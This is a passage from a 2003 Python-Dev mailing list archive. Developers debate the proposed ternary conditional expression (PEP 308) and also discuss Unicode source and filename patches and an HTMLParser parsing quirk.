However, many have gotten it wrong, either by reversing the true/false
value or by using something in the true_value which may be false
(sometimes even constants).  pychecker tries to find this condition
(when true_value is a false constant), but it does a poor job
of determining the idiom IIRC.

Neal


From pedronis@bluewin.ch  Sun Feb  9 16:54:24 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Sun, 9 Feb 2003 17:54:24 +0100
Subject: [Python-Dev] vox populii illiterati
References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> <20030209165109.GO23059@epoch.metaslash.com>
Message-ID: <019801c2d05b$e68d0c80$6d94fea9@newmexico>

From: "Neal Norwitz" <neal@metaslash.com>
> One thing to note, many people are saying you can currently do:
> 
>         cond and true_value or false_value
> 
> However, many have gotten it wrong, either by reversing the true/false
> value or by using something in the true_value which may be false
> (sometimes even constants).  pychecker tries to find this condition
> (when true_value is a false constant), but it does a poor job
> of determining the idiom IIRC.

that's why the real one (if any) should be spelled

cond and! true_val or! false_val

<.5 wink>.

Sorry I couldn't resist.


From skip@pobox.com  Sun Feb  9 16:57:02 2003
From: skip@pobox.com (Skip Montanaro)
Date: Sun, 9 Feb 2003 10:57:02 -0600
Subject: [Python-Dev] vox populii illiterati
In-Reply-To: <3E4668F3.8020904@lemburg.com>
References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY>
 <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net>
 <3E4668F3.8020904@lemburg.com>
Message-ID: <15942.34910.830154.909129@montanaro.dyndns.org>

    mal> Except maybe one nit: some of us here in python-dev don't read
    mal> c.l.p, so their vote wouldn't get taken into account. 

Given the volume of traffic it has generated in c.l.py I doubt all of the
active python-dev'ers voting one way or the other would have an effect on
the outcome of the vote, unless of course Aahz computes the tally in
Florida. ;-)

Skip



From aahz@pythoncraft.com  Sun Feb  9 17:08:08 2003
From: aahz@pythoncraft.com (Aahz)
Date: Sun, 9 Feb 2003 12:08:08 -0500
Subject: [Python-Dev] vox populii illiterati
In-Reply-To: <15942.34910.830154.909129@montanaro.dyndns.org>
References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> <15942.34910.830154.909129@montanaro.dyndns.org>
Message-ID: <20030209170808.GA14898@panix.com>

On Sun, Feb 09, 2003, Skip Montanaro wrote:
> 
> Given the volume of traffic it has generated in c.l.py I doubt all of the
> active python-dev'ers voting one way or the other would have an effect on
> the outcome of the vote, unless of course Aahz computes the tally in
> Florida. ;-)

Chicago suits me better.
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

Register for PyCon now!  http://www.python.org/pycon/reg.html


From tim.one@comcast.net  Sun Feb  9 17:15:44 2003
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 09 Feb 2003 12:15:44 -0500
Subject: [Python-Dev] vox populii illiterati
In-Reply-To: <20030209165109.GO23059@epoch.metaslash.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCKEPNDMAB.tim.one@comcast.net>

[Neal Norwitz]
> ...
> One thing to note, many people are saying you can currently do:
>
>         cond and true_value or false_value
>
> However, many have gotten it wrong, either by reversing the true/false
> value or by using something in the true_value which may be false
> (sometimes even constants).  pychecker tries to find this condition
> (when true_value is a false constant), but it does a poor job
> of determining the idiom IIRC.

Indeed, that's been the most amazing part of the discussion to me.  Not so
much the form above:  everyone gets that wrong in the case true_value may
actually be false, but I don't agree they're prone to swap the values.   But
*virtually* everyone got the order wrong when rewriting examples with the
weaker

    (false_value, true_value)[cond]

variant (they swap the values in the tuple).  That's evidence that the
expression-like workarounds don't really work for real people.

The other really interesting stuff has been Andre Dalke digging into mounds
of C++ code, and finding bad (or at best dubious) uses of ?:.  I believe his
claim that if Python grows a conditional expression, lots of people coming
from C will use it out of habit instead of learning that min(), max() and
abs() are built in.  That's evidence that people are people <wink>.



From just@letterror.com  Sun Feb  9 17:22:45 2003
From: just@letterror.com (Just van Rossum)
Date: Sun,  9 Feb 2003 18:22:45 +0100
Subject: [Python-Dev] Unicode source code
In-Reply-To: <3E46845F.4040805@lemburg.com>
Message-ID: <r01050400-1023-23FD2AEA3C5311D7A290003065D5E7E4@[10.0.0.23]>

M.-A. Lemburg wrote:

> Now, to accept Unicode it would probably be worthwhile hooking
> into this chain at step 2 rather than step 1 (the code for the
> tokenizer is in Parser/tokenizer.c, the compiler code in
> Python/compiler.c), however, this is difficult because most
> APIs for compiling code are built on char* buffers.
>
> A short-term solution would probably be to convert Unicode to
> UTF-8 and prepend a UTF-8 BOM mark so that the tokenizer
> knows that it is getting UTF-8. Haven't tested this though.

Hm. What I'm looking into now is to simply define a PyCompilerFlags flag
called PyCF_SOURCE_IS_UTF8. eval() and compile() will then convert a
unicode string to utf-8 and set this flag. This seems a very low-impact
solution. Does this make sense?

Just


From pedronis@bluewin.ch  Sun Feb  9 17:25:24 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Sun, 9 Feb 2003 18:25:24 +0100
Subject: [Python-Dev] vox populii illiterati
References: <LNBBLJKPBEHFEDALKOLCKEPNDMAB.tim.one@comcast.net>
Message-ID: <023f01c2d060$3b84ec40$6d94fea9@newmexico>

From: "Tim Peters" <tim.one@comcast.net>
> [Neal Norwitz]
> > ...
> > One thing to note, many people are saying you can currently do:
> >
> >         cond and true_value or false_value
> >
> > However, many have gotten it wrong, either by reversing the true/false
> > value or by using something in the true_value which may be false
> > (sometimes even constants).  pychecker tries to find this condition
> > (when true_value is a false constant), but it does a poor job
> > of determining the idiom IIRC.
>
> Indeed, that's been the most amazing part of the discussion to me.  Not so
> much the form above:  everyone gets that wrong in the case true_value may
> actually be false, but I don't agree they're prone to swap the values.   But
> *virtually* everyone got the order wrong when rewriting examples with the
> weaker
>
>     (false_value, true_value)[cond]
>
> variant (they swap the values in the tuple).  That's evidence that the
> expression-like workarounds don't really work for real people.
>

does that mean that all the _ and _ or _ in the std lib have been written by
bots <wink>?




From python@rcn.com  Sun Feb  9 17:36:57 2003
From: python@rcn.com (Raymond Hettinger)
Date: Sun, 9 Feb 2003 12:36:57 -0500
Subject: PEP 308 Was: [Python-Dev] vox populii illiterati
References: <LNBBLJKPBEHFEDALKOLCKEPNDMAB.tim.one@comcast.net>
Message-ID: <002701c2d061$d8173580$125ffea9@oemcomputer>

This thread needs to be renamed.
It asserts that democracy doesn't work 
because masses of people are stupid.

Besides not being true in general, it
applies even less in this specific case
because we are dealing with a group
that reads, that programs, that debates,
and that chose Python over languages 
that have more shelve space at the
bookstore.

Out of respect for the process (such as it is)
and for the user base, Brett please rename the 
thread in your summary.


Raymond Hettinger




From pyth@devel.trillke.net  Sun Feb  9 17:57:32 2003
From: pyth@devel.trillke.net (holger krekel)
Date: Sun, 9 Feb 2003 18:57:32 +0100
Subject: [Python-Dev] vox populii illiterati
In-Reply-To: <20030209165109.GO23059@epoch.metaslash.com>; from neal@metaslash.com on Sun, Feb 09, 2003 at 11:51:10AM -0500
References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> <20030209165109.GO23059@epoch.metaslash.com>
Message-ID: <20030209185732.W1706@prim.han.de>

Neal Norwitz wrote:
> On Sun, Feb 09, 2003 at 10:39:28AM -0500, Guido van Rossum wrote:
> > Is anybody at least collecting useful feedback?  I'm willing to update
> > the PEP to at least mention sensible alternatives or arguments pro and
> > con, but I can't read the c.l.py messages.
> 
> I have read most of the posts.  It's a bit humorous to watch emotions
> get so stirred in both directions.  It seems there are many
> python-devers following the discussion: Aahz, Andrew Koenig (ARK),
> Michael Hudson, Holger Krekel, and Tim have all posted.  ARK seems
> to be the most pro, Aahz the most against.  (I'm +0 on having
> a ternary operator in theory, -1 on PEP 308.)
> 
> ARK can do the best job of summarizing the pro-side, but the
> strongest arguments I've seen are that using a ternary op can
> reduce bugs by not duplicating a variable on assignment:
> 
>         if cond:
>                 x = true_value
>         else:
>                 x = false_value
> 
> vs. (in C notation):
>         x = cond ? true_value : false_value
> 
> Since x is only mentioned once, you can't get it wrong.

Right.  OTOH there seems to be the fear (especially from the 
more experienced folks maintaining large code bases) that
the ternary op *will* be used in non-assignments despite often
beeing bad style.  E.g.  starting from 

    if obj.method():
        ...

and realizing that 'obj' might not have "method" some might write:

    if obj.method() if hasattr(obj, 'method') else False:
        ...

which many consider a bad thing to be valid.  There are a *lot*
of variations on this theme (with while/list-comps/lambda) and 
people have reacted with punctuation (?:),  new keywords (when) 
and any mixture between those.  Clearly, you don't need the 
ternary operator for the above because there is an obvious 
other solution:

    if hasattr(obj, 'method') and obj.method():
        ...
        
and thus people indicated in various threads that having the ternary op
prevents people from getting to better and easier solutions. 

> Part of the reason for using if-expressions (the ternary op) is the
> programmer has a different mindset.  They aren't thinking about
> control (as in an if statement).  They are thinking about an
> expression and the ternary operator allows them to program what they
> are thinking.  

Andrew Dalke posted a nice survey on 15 different ternary-op examples 
in his 42.500 line C-code base (written by different programmers). 
Although it's not about python code it hits a nerve because quite
some people come with a C background (different mindset) and miss 
the ternary OP:

http://mail.python.org/pipermail/python-list/2003-February/145592.html

I think this link could be included in the PEP under something like
"Often (but not always) there are better Python-solutions than 
with C regarding ternary OP.". 

As no single person can follow all the c.l.py postings i think
we might "preprocess" and send Guido "important" links together with 
a short summary (or just the latter) to be included in the PEP.

regards,

    holger


From tim.one@comcast.net  Sun Feb  9 18:02:32 2003
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 09 Feb 2003 13:02:32 -0500
Subject: [Python-Dev] vox populii illiterati
In-Reply-To: <023f01c2d060$3b84ec40$6d94fea9@newmexico>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEADDNAB.tim.one@comcast.net>

[Samuele Pedroni]
> does that mean that all the _ and _ or _ in the std lib have been
> written by bots <wink>?

Pretty much, looks like:  simple uses by simple bots, overwhelmingly with
the thingie following "and" being a string literal or global CONSTANT.  This
oddball from imaplib.py wasn't written by anyone/anything on this planet,
though:

l = map(lambda x:'%s: "%s"' % (x[0], x[1][0] and '" "'.join(x[1]) or ''), l)

I doubt it would read better as

l = map(lambda x:'%s: "%s"' % (x[0], '" "'.join(x[1]) if x[1][0] else ''),
l)



From just@letterror.com  Sun Feb  9 18:59:06 2003
From: just@letterror.com (Just van Rossum)
Date: Sun,  9 Feb 2003 19:59:06 +0100
Subject: [Python-Dev] Unicode source code
In-Reply-To: <r01050400-1023-23FD2AEA3C5311D7A290003065D5E7E4@[10.0.0.23]>
Message-ID: <r01050400-1023-916FFD6F3C6011D7A290003065D5E7E4@[10.0.0.23]>

I wrote:
> Hm. What I'm looking into now is to simply define a PyCompilerFlags
> flag called PyCF_SOURCE_IS_UTF8. eval() and compile() will then
> convert a unicode string to utf-8 and set this flag. This seems a
> very low-impact solution. Does this make sense?

Whether it makes sense I don't know <wink>, but it _does_ work. I've
uploaded a patch, including test for eval() and compile():

  http://python.org/sf/683515

Just


From aleax@aleax.it  Sun Feb  9 19:10:29 2003
From: aleax@aleax.it (Alex Martelli)
Date: Sun, 9 Feb 2003 20:10:29 +0100
Subject: PEP 308 Was: [Python-Dev] vox populii illiterati
In-Reply-To: <002701c2d061$d8173580$125ffea9@oemcomputer>
References: <LNBBLJKPBEHFEDALKOLCKEPNDMAB.tim.one@comcast.net> <002701c2d061$d8173580$125ffea9@oemcomputer>
Message-ID: <200302092010.29792.aleax@aleax.it>

On Sunday 09 February 2003 06:36 pm, Raymond Hettinger wrote:
> This thread needs to be renamed.

Yes -- "populii" is a mis-spelling, since the ending 'i' should not be
doubled up (genitive of "populus" is "populi").


Alex



From rnd@onego.ru  Sun Feb  9 20:37:57 2003
From: rnd@onego.ru (Roman Suzi)
Date: Sun, 9 Feb 2003 23:37:57 +0300 (MSK)
Subject: [Python-Dev] Re: PEP 308
In-Reply-To: <200302092010.29792.aleax@aleax.it>
Message-ID: <Pine.LNX.4.44.0302092254130.19196-100000@rnd.onego.ru>

Inline if is about extending Python's functional paradigm by adding a function
those two arguments (out of 3) are evaluated only if needed.

Isn't it better to provide more general mechanism so arbitrary function could
evaluate it's arguments on demand? (Or what about evaluating everything
lazily?)

Then everybody could build his/her own if-function and much more.

(LISPers will be happy ;-)

This "inline if" debate is, IMHO, dual to "code thunks" thread at python-dev,
because in one case we want full-scale lambdas, and in another one - ifs,
reduced to fit expression. Both do not have nice syntactic solutions in spirit
of Python.

This is symptomatic. More bridges are needed between control statements
and expressions.

Why only if deserves inline version?
What about

k = try a/b except c
f = try open(filename) except sys.stdin
lst1 = while cond(i) i

Some bridges are here already:

[f(i) for i in lst]

In short:

 Expression - Statement
     [for]  - for
   [for if] - for:\n if ...
 recursion? - while
    PEP308! - if-else
     lambda - def
       eval - exec
          ? - class
          ? - try-except
          ? - raise
 __import__ - import   (?)
   reload() - ?
 not needed - return
          ? - yield
   .write() - print
          ? - del
       None - pass
          ? - =

Of course, there are only similarities between these structures, but on the
whole it could be noted that functional side is poorer than imperative one.

General laziness present in imperative side is missing in expression (thus
functional) side: arguments get evaluated more often than not. Only operations
like 'or' and 'and' (and chained comparisons) add some laziness to
expressions.

Please, do not understand me as asking for features. This posting of mine is
an attempt to take more general view of the Python landscape today and
development directions under discussion.

If (ever) lazy execution will be Python reality, Python will be great choice
for mathematical programming people with their fancy search algorithms.  
(Anybody who knows Amanda/Miranda programming languages will understand what I
am speaking about).


Sincerely yours, Roman Suzi
-- 
rnd@onego.ru =\= My AI powered by Linux RedHat 7.3



From bac@OCF.Berkeley.EDU  Sun Feb  9 20:03:45 2003
From: bac@OCF.Berkeley.EDU (Brett Cannon)
Date: Sun, 9 Feb 2003 12:03:45 -0800 (PST)
Subject: [Python-Dev] New syntax threads -- summary wanted
In-Reply-To: <200302051332.h15DWmh23920@pcp02138704pcs.reston01.va.comcast.net>
References: <200302051332.h15DWmh23920@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <Pine.SOL.4.53.0302091152000.9362@death.OCF.Berkeley.EDU>

[Guido van Rossum]

> I am asking everyone who has participated in the thread(s) about new
> syntax (with, thunks, etc.) to hold off posting for a day, and think
> about summarizing the state of the discussion.  Then if someone could
> post a summary of the various proposals on the table, with the key
> arguments pro and con for each, I'd like to start continuing.  The
> goal at this point should be one or more PEPs.  If you would like to
> volunteer to (co-)author a thread summary, please post to the list.
> The first volunteer to post gets to coordinate the others.
>

So Guido made this request on Wed. morning EST and so far no one beyond me
has responded.  Well, I am going to be starting on my rough of the summary
in the near future.  Now obviously I need a summary of what occured in the
thread.  This can happen one of two ways.

One is that people summarize the parts of the thread that they heavily
participated in and I build off of those (such as the PEP Paul and Michael
are working on for the 'with' protocol; what is the ETA on that, you
guys?).  The other is that I do the summary.  Now, you might be saying,
"hey, I will just let Brett do the summary and not worry about it!"  Bad
idea.  =)  I doubt I will do the proposals justice, let alone I personally
do not love some of the proposals so bias might (more like will, but I am
trying to give the appearance of objectivity =) seep in.

But if the latter does occur, I will post the summaries here as soon as I
do them separate from the official Summary.

Then I can start discussing my atomic keyword idea again without getting
into trouble.  =)

-Brett


From pedronis@bluewin.ch  Sun Feb  9 20:52:23 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Sun, 9 Feb 2003 21:52:23 +0100
Subject: [Python-Dev] New syntax threads -- summary wanted
References: <200302051332.h15DWmh23920@pcp02138704pcs.reston01.va.comcast.net> <Pine.SOL.4.53.0302091152000.9362@death.OCF.Berkeley.EDU>
Message-ID: <072301c2d07d$259e0e80$6d94fea9@newmexico>

From: "Brett Cannon" <bac@OCF.Berkeley.EDU>

>
> So Guido made this request on Wed. morning EST and so far no one beyond me
> has responded.  Well, I am going to be starting on my rough of the summary
> in the near future.  Now obviously I need a summary of what occured in the
> thread.  This can happen one of two ways.
>

Guido has been provided with a kind of technical summary except about the
'with' details.



From gminick@hacker.pl  Sun Feb  9 20:57:38 2003
From: gminick@hacker.pl (gminick)
Date: Sun, 9 Feb 2003 21:57:38 +0100
Subject: [Python-Dev] Grzegorz Adam Hankiewicz found a parsing bug in HTMLParser.
Message-ID: <20030209205738.GA1740@hannibal>

MSG-ID of the origin: <mailman.1044810540.18789.python-list@python.org>

A bit of investigation showed that the bug exists because of that line:

        <a href="http://ss"title="pe">P</a>
                         ^^^

the place in code responsible for complaining that is a method
check_for_whole_start_tag() of class HTMLParser, lines 308 to 312:

            if next in ("abcdefghijklmnopqrstuvwxyz=/"
                        "ABCDEFGHIJKLMNOPQRSTUVWXYZ"):
                # end of input in or before attribute value, or we have the
                # '/' from a '/>' ending
                return -1

I don't want to change this since I'm sure, I'll make HTMLParser weak for some
other conditions. Is there anybody who know the code for HTMLParser.py?

ps. ...if there's no one, then I'll take a deeper look on this ;)

-- 
[ ] gminick (at) underground.org.pl  http://gminick.linuxsecurity.pl/ [ ]
[ "Po prostu lubie poranna samotnosc, bo wtedy kawa smakuje najlepiej." ]


From just@letterror.com  Sun Feb  9 21:39:28 2003
From: just@letterror.com (Just van Rossum)
Date: Sun,  9 Feb 2003 22:39:28 +0100
Subject: [Python-Dev] Unicode filenames
In-Reply-To: <200302091320.h19DKUc29219@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <r01050400-1023-F8D9D84E3C7611D7A290003065D5E7E4@[10.0.0.23]>

Guido van Rossum wrote:

> > Setting it seems to work wonderful. However, I'm a bit surprised
> > that os.listdir() doesn't return unicode strings. Is that because
> > it would break too much code?
> 
> I think that's shallow: the special-casing of unicode_file_names()
> only exists in the Windows branch of the code.

I've uploaded a tentative patch to posixmodule.c that makes os.listdir()
return unicode strings if Py_FileSystemDefaultEncoding is set:

  http://python.org/sf/683592

I'm not at all sure there's no danger in doing this, but I thought
perhaps an actual patch makes discussing this easier.

Just


From pedronis@bluewin.ch  Sun Feb  9 23:09:49 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Mon, 10 Feb 2003 00:09:49 +0100
Subject: [Python-Dev] vox populii illiterati
References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <092801c2d090$585db740$6d94fea9@newmexico>

From: "Guido van Rossum" <guido@python.org>
> > Nobody will try to sort out the votes from the well over 
> > 600 postings (and growing).
> 
> Ouch.  And it's only Sunday morning here.  That exceeds my wildest
> expectations.
> 
> Is anybody at least collecting useful feedback?  I'm willing to update
> the PEP to at least mention sensible alternatives or arguments pro and
> con, but I can't read the c.l.py messages.
> 

ouch, that's an interesting pro twist:

http://mail.zope.org/pipermail/zope-dev/2003-February/018725.html

"... I think, we want an "if-then-else" expression for Zope, as it would
make decisions in TALES expressions ...
Do not forget to vote!"



From guido@python.org  Sun Feb  9 23:54:32 2003
From: guido@python.org (Guido van Rossum)
Date: Sun, 09 Feb 2003 18:54:32 -0500
Subject: [Python-Dev] New syntax threads -- summary wanted
In-Reply-To: "Your message of Sun, 09 Feb 2003 12:03:45 PST."
 <Pine.SOL.4.53.0302091152000.9362@death.OCF.Berkeley.EDU>
References: <200302051332.h15DWmh23920@pcp02138704pcs.reston01.va.comcast.net>
 <Pine.SOL.4.53.0302091152000.9362@death.OCF.Berkeley.EDU>
Message-ID: <200302092354.h19NsWc30741@pcp02138704pcs.reston01.va.comcast.net>

> So Guido made this request on Wed. morning EST and so far no one beyond me
> has responded.

Actually, Samuele sent me a long summary on Friday -- I just don't
haven't had time to formulate a response yet.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Mon Feb 10 01:03:37 2003
From: guido@python.org (Guido van Rossum)
Date: Sun, 09 Feb 2003 20:03:37 -0500
Subject: [Python-Dev] vox populii illiterati
In-Reply-To: "Your message of Mon, 10 Feb 2003 00:09:49 +0100."
 <092801c2d090$585db740$6d94fea9@newmexico>
References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY>
 <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net>
 <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de>
 <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net>
 <092801c2d090$585db740$6d94fea9@newmexico>
Message-ID: <200302100103.h1A13bG30889@pcp02138704pcs.reston01.va.comcast.net>

> ouch, that's an interesting pro twist:
> 
> http://mail.zope.org/pipermail/zope-dev/2003-February/018725.html
> 
> "... I think, we want an "if-then-else" expression for Zope, as it would
> make decisions in TALES expressions ...
> Do not forget to vote!"

Hm...  I think the current wisdom in TALES is to avoid python
expressions if at all possible.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From greg@cosc.canterbury.ac.nz  Mon Feb 10 01:08:14 2003
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Mon, 10 Feb 2003 14:08:14 +1300 (NZDT)
Subject: [Python-Dev] Re: Trinary Operators
In-Reply-To: <200302071710.h17HAil08991@odiug.zope.com>
Message-ID: <200302100108.h1A18EL13872@oma.cosc.canterbury.ac.nz>

> If I vote for a ternary operator, but then something with an ugly
> syntax wins the design contest, I may wish I had voted against in the
> first place.

Don't vote on the syntax at all, then. Just pick the one
you like the most and pronounce on it.

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From guido@python.org  Mon Feb 10 01:12:47 2003
From: guido@python.org (Guido van Rossum)
Date: Sun, 09 Feb 2003 20:12:47 -0500
Subject: [Python-Dev] Grzegorz Adam Hankiewicz found a parsing bug in
 HTMLParser.
In-Reply-To: "Your message of Sun, 09 Feb 2003 21:57:38 +0100."
 <20030209205738.GA1740@hannibal>
References: <20030209205738.GA1740@hannibal>
Message-ID: <200302100112.h1A1Cl430951@pcp02138704pcs.reston01.va.comcast.net>

> MSG-ID of the origin: <mailman.1044810540.18789.python-list@python.org>

Alas, that's not help ful in tracking down the original message.

> A bit of investigation showed that the bug exists because of that line:
> 
>         <a href="http://ss"title="pe">P</a>
>                          ^^^

Which is blatantly invalid HTML, of course.

> the place in code responsible for complaining that is a method
> check_for_whole_start_tag() of class HTMLParser, lines 308 to 312:
> 
>             if next in ("abcdefghijklmnopqrstuvwxyz=/"
>                         "ABCDEFGHIJKLMNOPQRSTUVWXYZ"):
>                 # end of input in or before attribute value, or we have the
>                 # '/' from a '/>' ending
>                 return -1
> 
> I don't want to change this since I'm sure, I'll make HTMLParser
> weak for some other conditions. Is there anybody who know the code
> for HTMLParser.py?

This isn't really the right forum for this, but I hope you can post
either a bug report or a patch to sourceforge.  If you need someone to
help investigate first, the right place to ask is comp.lang.python.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From pedronis@bluewin.ch  Mon Feb 10 01:38:15 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Mon, 10 Feb 2003 02:38:15 +0100
Subject: [Python-Dev] vox populii illiterati
References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> <092801c2d090$585db740$6d94fea9@newmexico> <200302100103.h1A13bG30889@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <01df01c2d0a5$15401e20$6d94fea9@newmexico>

From: "Guido van Rossum" <guido@python.org>
> > ouch, that's an interesting pro twist:
> > 
> > http://mail.zope.org/pipermail/zope-dev/2003-February/018725.html
> > 
> > "... I think, we want an "if-then-else" expression for Zope, as it would
> > make decisions in TALES expressions ...
> > Do not forget to vote!"
> 
> Hm...  I think the current wisdom in TALES is to avoid python
> expressions if at all possible.

It was only meant as a report about how the thing is escalating/cascading.




From guido@python.org  Mon Feb 10 01:54:17 2003
From: guido@python.org (Guido van Rossum)
Date: Sun, 09 Feb 2003 20:54:17 -0500
Subject: [Python-Dev] vox populii illiterati
In-Reply-To: "Your message of Sun, 09 Feb 2003 18:57:32 +0100."
 <20030209185732.W1706@prim.han.de>
References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY>
 <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net>
 <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de>
 <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net>
 <20030209165109.GO23059@epoch.metaslash.com> <20030209185732.W1706@prim.han.de>
Message-ID: <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net>

> Right.  OTOH there seems to be the fear (especially from the 
> more experienced folks maintaining large code bases) that
> the ternary op *will* be used in non-assignments despite often
> beeing bad style.  E.g.  starting from 
> 
>     if obj.method():
>         ...
> 
> and realizing that 'obj' might not have "method" some might write:
> 
>     if obj.method() if hasattr(obj, 'method') else False:
>         ...
> 
> which many consider a bad thing to be valid.  There are a *lot*
> of variations on this theme (with while/list-comps/lambda) and 
> people have reacted with punctuation (?:),  new keywords (when) 
> and any mixture between those.  Clearly, you don't need the 
> ternary operator for the above because there is an obvious 
> other solution:
> 
>     if hasattr(obj, 'method') and obj.method():
>         ...
>         
> and thus people indicated in various threads that having the ternary op
> prevents people from getting to better and easier solutions. 

I'm sorry, but I am not at all swayed by the argument that this can be
misused.  That argument has been used against every new proposal since
Python 1.0.  But the existing constructs can be misused just as well.
You can't prevent a poor programmer from writing poor code.

The example you give is particularly unlikely because the 'and' idiom
is well established for this particular case.

> > Part of the reason for using if-expressions (the ternary op) is the
> > programmer has a different mindset.  They aren't thinking about
> > control (as in an if statement).  They are thinking about an
> > expression and the ternary operator allows them to program what they
> > are thinking.  
> 
> Andrew Dalke posted a nice survey on 15 different ternary-op examples 
> in his 42.500 line C-code base (written by different programmers). 
> Although it's not about python code it hits a nerve because quite
> some people come with a C background (different mindset) and miss 
> the ternary OP:
> 
> http://mail.python.org/pipermail/python-list/2003-February/145592.html
> 
> I think this link could be included in the PEP under something like
> "Often (but not always) there are better Python-solutions than 
> with C regarding ternary OP.". 

Many of his examples are like perfectly valid use of ?: in C++, and
good to follow too.  (In fact, it seems that ?: has an advantage over
the PEP's proposal because the ?: stand out more than the 'if' and
'else' keywords.)  And most examples that questionable are
questionable not because ?: is being misused but because the
programmer didn't think hard enough -- but there's no evidence that
the ?: prevented them from thinking.  I agree with his final
conclusion that ?: just isn't used often enough to warrant its
existence.  But then he blows it again by pointing out that it can be
abused.  Well OF COURSE it can be abused.  See above.

one of Dalke's anti-examples is interesting (slightly reformatted):

  indices = [(long_function_name(atom->realAtom(), atomCount, reactionMapping)
	      if atom != OXYGEN else -1)
             for atom in (atom1, atom2, atom3, atom4)]

If anything, this suggests that the infix-if form is not ideal,
because it hides the if-part too much.

> As no single person can follow all the c.l.py postings i think
> we might "preprocess" and send Guido "important" links together with 
> a short summary (or just the latter) to be included in the PEP.

I'm not sure that Dalke's post adds much evidence to warrant inclusion
in the PEP.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From ping@zesty.ca  Mon Feb 10 02:06:29 2003
From: ping@zesty.ca (Ka-Ping Yee)
Date: Sun, 9 Feb 2003 20:06:29 -0600 (CST)
Subject: [Python-Dev] vox populii illiterati
In-Reply-To: <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <Pine.LNX.4.33.0302092000170.19249-100000@server1.lfw.org>

On Sun, 9 Feb 2003, Guido van Rossum wrote:
> If anything, this suggests that the infix-if form is not ideal,
> because it hides the if-part too much.

I'm +0.5 if we can agree on a syntax where evaluation is left-to-right
(condition, true case, false case).  I haven't decided on a nice one yet.

I'm -1 on any syntax that's out of order.  I think that would be
terribly confusing, and i don't think there's any example of a
successful out-of-order ?: syntax in another language, is there?

It's not just that it's out of order -- it's that something gets
short-circuited out of order.  The whole idea of the very *first*
thing you see getting short-circuited is unacceptably weird and
unexpected for me.


-- ?!ng




From pyth@devel.trillke.net  Mon Feb 10 03:17:46 2003
From: pyth@devel.trillke.net (holger krekel)
Date: Mon, 10 Feb 2003 04:17:46 +0100
Subject: [Python-Dev] vox populii illiterati
In-Reply-To: <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net>; from guido@python.org on Sun, Feb 09, 2003 at 08:54:17PM -0500
References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> <20030209165109.GO23059@epoch.metaslash.com> <20030209185732.W1706@prim.han.de> <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <20030210041746.F1706@prim.han.de>

Guido van Rossum wrote:
> > Right.  OTOH there seems to be the fear (especially from the 
> > more experienced folks maintaining large code bases) that
> > the ternary op *will* be used in non-assignments despite often
> > beeing bad style.  E.g.  starting from 
> > 
> >     if obj.method():
> >         ...
> > 
> > and realizing that 'obj' might not have "method" some might write:
> > 
> >     if obj.method() if hasattr(obj, 'method') else False:
> >         ...
> > 
> > which many consider a bad thing to be valid.  There are a *lot*
